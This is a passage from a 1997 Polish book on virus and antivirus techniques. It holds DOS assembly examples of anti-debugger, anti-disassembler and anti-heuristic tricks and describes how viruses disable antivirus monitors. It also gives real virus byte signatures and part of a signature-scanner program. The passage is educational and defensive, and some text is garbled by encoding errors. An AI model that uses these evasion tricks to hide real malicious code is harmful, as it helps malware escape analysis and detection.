        push   ax si              ; zachowaj zmieniane rejestry

NastepnyZnak:
        lods   byte ptr cs:[si]   ; wez kolejny znak

        or     al,al              ; czy znak jest zerem ?
        jz     DrukPowrot         ; TAK = koniec napisu wyjdz z petli

        mov    ah,0Eh             ; funkcja BIOS
        int    10h                ; wyswietl znak (z AL)

        jmp    short NastepnyZnak ; wez nastepny znak

DrukPowrot:
        pop    si ax              ; przywroc zmieniane rejestry

        ret                       ; powrot z procedury

TeCopyRight    db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL
TeTakieSame    db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL
TeInne         db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL
TeWindows95    db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL

SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')
SektorIDE  db 512/16 dup ('[ SEKTOR EIDE ] ')

IDE_PORT ENDS

END Start

9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i 
antyheurystyczne
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod 
przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek 
antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki 
antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) 
blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu 
objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym 
przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a 
więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy 
najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo 
komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h, 
służące debuggerom do obsługi plików, klawiatury, ekranu itd.
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus 
próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu 

background image

- wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, 
aby ten niczego nie zauważył.
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:
; Blokada przerwa± sprzÛtowych
MOV AL,0FFh              ; ustaw wszystkie bity w AL na 1 
OUT 21h, AL              ; zamaskuj przerwania sprzÛtowe od 0 do 7
OUT 0Alh, AL             ; zamaskuj przerwania sprzÛtowe od 8 do F Wykrywanie,
                         ; czy kod wykonuje siÛ pod kontrola debuggera 
PUSH SS                  ; za│aduj na stos warto£µ SS 
POP SS                   ; po tej instrukcji, nastÛpny rozkaz nie jest 
                         ; kontrolowany, 
PUSHF                    ; wiÛc mo┐na zachowaµ na stosie prawdziwe flagi 
POP AX                   ; AX=flagi zdjÛte ze stosu 
TEST AH,1                ; czy bit TF=1 ? 
JNZ DEBUG_ON             ; je£li tak, to u┐ywany jest debugger
........                 ; debugger nie jest u┐ywany
DEBUG_ON:                ; debugger jest u┐ywany
Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie 
sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak 
będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować 
adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie 
rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu 
chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy 
przerwań.
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz 
odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje 
się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we 
wstępie wirusie JUMP).
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a 
napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny 
listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze 
takie same).

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997                ;
;                                                                            ;
;              Program demonstruje proste techniki antydeasemblerowe         ;
;              Po skompilowaniu mozna sprobowac deasemblowac kod tego        ;
;              programu przy uzyciu np. SOURCERa i porownac z oryginalnym    ;
;              zrodlem                                                       ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     ANTY_DEA.ASM                                          ;
;             TLINK /t ANTY_DEA.OBJ                                          ;

background image

;                                                                            ;
;----------------------------------------------------------------------------;
ANTY_DEA SEGMENT
         ASSUME CS:ANTY_DEA, DS:ANTY_DEA

         ORG 100h

Start:                                      ; poczatek programu
    sub  bp,bp                              ; zeruj rejestr BP

    lea  dx,[bp+offset TxCzesc]             ; dostep do danych poprzez
                                            ; adresowanie typowo uzywane
                                            ; przy operacjach na stosie
                                            ; deasembler moze nie zauwazyc
                                            ; ze chodzi o zwykly ofset
                                            ; do tekstu

    jmp  $+4                                ; przeskocz bajt 0EAh
                                            ; i wskocz w drugi bajt
                                            ; rozkazu ADD, czyli
                                            ; przejdz do rozkazu
                                            ; jmp Koniec
                                            ; (ukrytego w kodzie rozkazu ADD)

    db   0EAh                               ; symuluj wywolanie
                                            ; dalekiej procedury
                                            ; o kodzie EA OO OO SS SS, gdzie
                                            ; SS SS : Seg, OO OO : ofs
                                            ; mozliwe, ze deasembler pobierze
                                            ; dwuslowo i zamieni je
                                            ; na SS SS : OO OO
                                            ; i nie wykryje ani ADD, ani JMP

    add  ax,0EBh+256*(offset Koniec-$-3)    ; kod tego rozkazu
                                            ; to db 05
                                            ;    db EB
                                            ;    db (offset Koniec-$-3)
                                            ; od drugiego bajtu rozpoczyna sie
                                            ; kod rozkazu Jmp Koniec (EB,??)

TxCzesc  db  0Dh,0Ah,'Czesc!',0Dh,0Ah,'$'   ; tekst w srodku kodu;
                                            ; istnieje szansa, ze
                                            ; deasembler zacznie
                                            ; go interpretowac jako kod

     db  0EAh                               ; ta sama sztuczka co powyzej;

background image

                                            ; symulacja wywolania dalekiej
                                            ; procedury

Koniec:                                     ; tu dotrze program omijajac tekst

    jmp  $+3                                ; przeskocz bajt 0EAh

    db   0EAh                               ; ta sama sztuczka co powyzej;
                                            ; symulacja wywolania dalekie
                                            ; procedury CALL FAR

                                            ; ponizsza sekwencja mov ah,9/
                                            ; int 21h jest 4 bajtowa i jest
                                            ; calkowicie "pochlonieta" przez
                                            ; symulowany rozkaz CALL FAR

    mov  ah,9                               ; funkcja DOS - wyswietl tekst$

    int  21h                                ; wywolaj funkcje DOS

    ret                                     ; powrot do PSP:0000h,
                                            ; gdzie znajduje sie kod Int 20h,
                                            ; czyli koncz program

ANTY_DEA ENDS

END Start

Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych 
stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów 
polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów 
tymi metodami.
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, 
dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, 
funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania 
procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi 
wyglądu programu napisanego w językach wysokiego poziomu (posiadają one 
charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi 
cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE 
lub innych).
Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania 
programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle 
przerywa dalsze poszukiwania i pozostawia plik bez zmian.
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania 
wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez 
odpowiednią manipulację kodem, np. tradycjną sekwencję:
CMP AX,4B00h

background image

mo┐na zakodowaµ w wirusie jako:
ADD AX,1234h
CMP AX,4B00h+1234h
lub
XCHG AX,CX
CMP AX,4B00h XCHG AX,CX
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną 
operację wykona się dla większości zawartych w wirusie instrukcji, program 
antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.

9.3. Optymalizacje kodu
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc 
autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego 
funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim 
kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-
nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe 
przykłady ilustrują najbardziej znane i proste optymalizacje kodu:
XOR REJ16,REJ16          ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego
                         ; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0)
XOR AX,AX                ; zeruj rejestry DX:AX za pomoc╣ dw¾ch rozkaz¾w CWD
                         ; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajt¾w)
XCHG AX,REJ16            ; przenie£ zawarto£µ rejestru AX do innego rejestru 

                   ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX 

                         ; (mo┐na u┐ywaµ tylko w niekt¾rych sytuacjach)
INC REJ16                ; dwie 1-bajtowe instrukcje INC 
INC REJ16                ; zamiast jednej 3-bajtowej instrukcji 
ADD REJ16,2 

      ; analogicznie dla rozkazu 

SUB REJ16,2 

      ; 2xDEC

9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi 
monitorami antywirusowymi
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z 
zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami 
kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były 
one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla 
użytkownika.
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane 
metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada 
żadnej wagi do ochrony własnego
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z 
tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż 
program, mimo że jest zainstalowany, nie działa tak, jak powinien.
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów 
wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, 
zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej 
wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić 
użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają 

background image

odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik 
programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że 
ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć 
można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na 
świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii 
zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa 
Veldmana).
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian 
wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej 
przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów 
trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter 
rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam 
czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.

ROZDZIAŁ 10

10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)
Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, 
który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także 
sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a 
także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji 
sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi 
komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł 
pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej 
C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język 
JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy 
można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych 
trudności po całej sieci Internet.
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, 
jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest 
fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które 
radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,

10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)
Większość obecnie istniejących wirusów infekując pliki używa standardowego 
schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej 
modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i 
wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na 
umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po 
pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, 
gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby 
podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego 
wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.

10.3. Wirusy zmienne genetycznie (mutujące swój kod)

background image

W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość 
stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak 
kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora 
zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu 
polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana 
została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak 
kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej 
instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, 
objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby 
swą nową kopię, przemieszczając odpowiednie fragmenty ko
du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to 
przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć 
niewykluczone, iż dzieło takie wkrótce się pojawi.

10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty
Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową 
platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy 
wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne 
systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza 
Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. 
system Windows 95, Linux, OS/2 i,
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można 
uznać większość plików używanych przez ten system, które zawierają jakieś przydatne 
wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są 
to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: 
GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów 
towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki 
nowe EXE o nagłówku
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego 
ukrycia wirusa.

ROZDZIAŁ 11

11.1. Skanery (ang. scaners)
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na 
wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), 
dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana 
sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub 
specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, 
jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku 
wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie 
wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co 

background image

świadczy o uniwersalności tej metody.

11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)
Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który 
poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie 
wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego 
typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy 
wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB 
lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często 
od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od 
tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych 
przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na 
jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów 
antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy 
wirusów.
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false 
positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej 
operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program 
antywirusowy z pamięci.

11.3. Szczepionki (ang. disinfectors)
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na 
podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej 
analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie 
wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala 
także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć 
do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do 
oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z 
istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i 
usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, 
zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko 
konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale 
działający program.

11.4. Programy autoweryfikujące
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, 
mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został 
w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod 
dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.
Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie 
zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w 
pliku, mimo że jest on zainfekowany.

11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla 
zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są 
najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym 

background image

uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy 
wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z 
poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki 
znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre 
wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez 
większych problemów można zastąpić pierwotną, przechowywaną w pliku.
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki 
przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele 
wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.

ROZDZIAŁ 12

12.1. Skaning
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. 
Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów 
(sygnatury wirusa).
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA   ; sygnatura wirusa Atomie 1.0 
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83   ; sygnatura wirusa Human Greed 
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE   ; sygnatura wirusa DOOM! 
5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4   ; sygnatura wirusa Ethernity 
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21      ; sygnatura wirusa OLG
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, 
zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez 
siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w 
przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery 
potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. 
Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur 
używających znaków globalnych:
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly 
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02         ; sygnatura wirusa K-CMOS
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1         ; sygnatura wirusa Geodesic Propagation
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04      ; sygnatura wirusa 1984
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu 
bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako 
łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja 
podanych metod).

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                       SKANER v1.0, Autor : Adam Blaszczyk 1997             ;
;                                                                            ;
;    Program sluzy do przeszukiwania plikow w celu znalezienia zadanego      ;

background image

;    lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr    ;
;    przy wywolaniu programu.                                                ;
;                                                                            ;
;----------------------------------------------------------------------------;
;                            DANE TECHNICZNE                                 ;
;----------------------------------------------------------------------------;
;                                                                            ;
; _ Wywolanie: SKANER NazwaPliku CiagBajtow                                  ;
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu   ;
;   np:                                                                      ;
;       _ CD 21                - szuka wywolania przerwania 21h              ;
;       _ 'wirus'              - szuka slowa "wirus"                         ;
;       _ 'abc'80C5'def'EE  F6 - szuka lancucha "abcÃ+def_¸"                 ;
; _ Maksymalna dlugosc wyszukiwanego ciagu           =   128 bajtow.         ;
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow          ;
;   65024=512*127=127 sektorow, 512 bajtowych                                ;
; _ Maksymalna ilosc zliczanych wystapien ciagu      = 2^32  razy            ;
; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut  ;
;   na Archive; po skonczeniu programu przywracany jest oryginalny atrybut   ;
; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail>          ;
;   zastapiona zostala sekwencja sygnalizujaca blad programowi               ;
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu                        ;
;   (takze zachodzace na siebie)                                             ;
;                                                                            ;
;----------------------------------------------------------------------------;

;-------------------------------------------------------------------
;                         Definicje Stalych
;-------------------------------------------------------------------
JUMPS
;stale logiczne
Falsz                equ 00h                        ; \ definicja dwoch stalych logicznych
Prawda               equ Falsz+1                    ; / 0=Falsz i 1=Prawda
; stale ogolne
RozmiarStosu         equ 128                        ; rozmiar stosu w slowach dwubajtowych
RozmiarCiagu        equ 128                         ; rozmiar bufora na wyszukiwany ciag
RozmiarBuforaDanych  equ 127*512                    ; rozmiar bufora na dane = segment 
64K-512
DlugNazwyPliku       equ 128                        ; dlugosc pelnej nazwy pliku
LiniaPolecen         equ 80h                        ; adres (w PSP) do parametrow
; stale znakowe
ZnakTabulacji        equ 09h                        ; \
ZnakSpacji           equ ' '                        ;  \
ZnakKoncaLinii       equ 0Dh                        ;   - stale znakowe
CR                   equ 0Dh                        ;  /
LF                   equ 0Ah                        ; /
; stale bledow

background image

; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie
BlBezBledu           equ 00h                        ; nie ma bledu
BlBrakParametrow     equ 01h                        ; blad : nie ma parametrow
BlBrakNazwyPliku     equ 02h                        ; blad : brak nazwy pliku w parametrach
BlBrakCiagu          equ 03h                        ; blad : brak ciagu do wyszukania
BlZlyCiag            equ 04h                        ; blad : ciag zawiera bledy
BlBrakPlikuNaDysku   equ 05h                        ; blad : brak pliku podanego jako parametr
BlBlad_ARIF          equ 06h                        ; blad : brak dostepu do pliku (int 24h)
BlZlyAtrybutPliku    equ 07h                        ; blad : nie plik tylko etykieta dysku lub 
katalog
BlBrakDostepuDoPliku equ 08h                        ; blad : nie mozna zmienic atrybutow na 
archive
BlNieMogeOtworzyc    equ 09h                        ; blad : nie moge otworzyc pliku
BlNieMogeCzytac      equ 0Ah                        ; blad : nie moge czytac pliku
BlNieMogeZamknac     equ 0Bh                        ; blad : nie moge zamknac pliku
BlPlikZaKrotki       equ 0Ch                        ; blad : plik krotszy niz dlugosc ciagu
; stale drukowania wrostkow
;    7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]
;    7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]
DrPlik               equ 01h                        ; stala dla wrostka NazwaPliku
DrCiag               equ 02h                        ; stala dla wrostka Ciag
DrUnIntDec           equ 83h                        ; stala dla wrostka - liczby bez znaku typu Int 
(dziesietne)
DrUnIntHex           equ 84h                        ; stala dla wrostka - liczby bez znaku typu Int 
(szesnastkowo)
IleWrostkow          equ 04h                        ; ile maksymalnie wrostkow
; stale DOS-owe
TrybOtwarciaPliku    equ 00000000b                  ; oznacza otwarcie pliku tylko do 
odczytu

AtReadOnly           equ 00000001b                  ;\
AtHidden             equ 00000010b                  ; \
AtSystem             equ 00000100b                  ;  \
AtVolumeID           equ 00001000b                  ;   - atrybuty pozycji katalogu
AtDirectory          equ 00010000b                  ;   /
AtArchive            equ 00100000b                  ;  /
AtAll                equ 00111111b                  ; /
; definicja bufora DTA (Disk Transfer Area)
DTA_STRUC struc                                     ; struktura potrzebna dla funkcji
          NieWazne     db 21 dup(?)                 ; 4E i 4F sluzacych do poszukiwania
          Atrybut      db ?                         ; pierwszego (4E) i nastepnego (4F)
          Czas         dw ?                         ; wystapienia w katalogu (pliku, katalogu,itp.)
          Data         dw ?                         ; opisuje wszystkie parametry pliku
          Dlugosc      dd ?                         ; zawarte w FAT z wyjatkiem pierwszego numeru 
JAP
          Nazwa        db 13 dup(?)
DTA_STRUC ends

background image

;-------------------------------------------------------------------
;                         Segment Kodu
;-------------------------------------------------------------------
SKANER        SEGMENT

                ASSUME CS:SKANER, ds:SKANER

         Start:                                     ; poczatek programu
                Call UstawParametrySystemu          ; ustaw DS+nowe (DTA i int 24h)

                mov si,Offset TeCopyRight           ;
                Call DrukLn                         ; wyswietl komunikat o programie

                Call CzytajParametry                ; Wez z PSP:80h parametry : Plik+Ciag
                jc Blad                             ; gdy CF=1, to blad

                Call SprawdzPlik                    ; czy plik istnieje ?
                jc blad

                Call SzukajLancuch                  ; Szukaj lancucha w pliku
                jc Blad

                mov NumerBledu,BlBezBledu           ; wszystko OK !

Blad:                                               ; skacz tu, jesli jakis blad
                Call PrzywrocParametrySystemu       ; stare DTA+INT 24h

                Call OstatniKomunikat               ; zwraca 0=bez bledu lub FF=blad

                mov ah, 4Ch                         ; funkcja powrotu do systemu DOS
                int 21h                             ; wywolaj funkcje

;-------------------------------------------------------------------
OstatniKomunikat proc near                          ; wyswietla komunikat na koncu programu
                pushf                               ; zachowaj znaczniki, potrzebne pozniej

                mov ax,seg SKANER
                mov ds,ax                           ; DS=segment danych

                mov al, NumerBledu                  ; al=numer bledu
                cbw                                 ; ax=numer bledu
                shl ax,1                            ; ax=ax*2, bo kazdy ofset=2 bajty
                add ax,Offset OffsetyKomunikatow    ; ax=tablica z adresami komunikatow 
bledow
                xchg ax,bx                          ; bx=tablica z adresami komunikatow bledow
                                                    ; [bx]=tablica[blad]

background image

                mov si,[bx]                         ; dx=offset do komunikatu o bledzie (lub 'OK')
                Call DrukLn                         ; wypisz komunikat

                popf                                ; przywroc znaczniki

                mov al,0                            ; w al przekaz kod bledu, 0=bez bledu
                sbb al,0                            ; jezeli blad, to al=FF

                ret
OstatniKomunikat endp

;-------------------------------------------------------------------
SzukajLancuch   proc near                           ; otwiera plik i szuka zadany ciag
                                                    ; w calym pliku
                mov ax,seg ProgDTA                  ; ustaw ES na segment, do ktorego beda
                mov es,ax                           ; wczytywane dane =127 sektorow

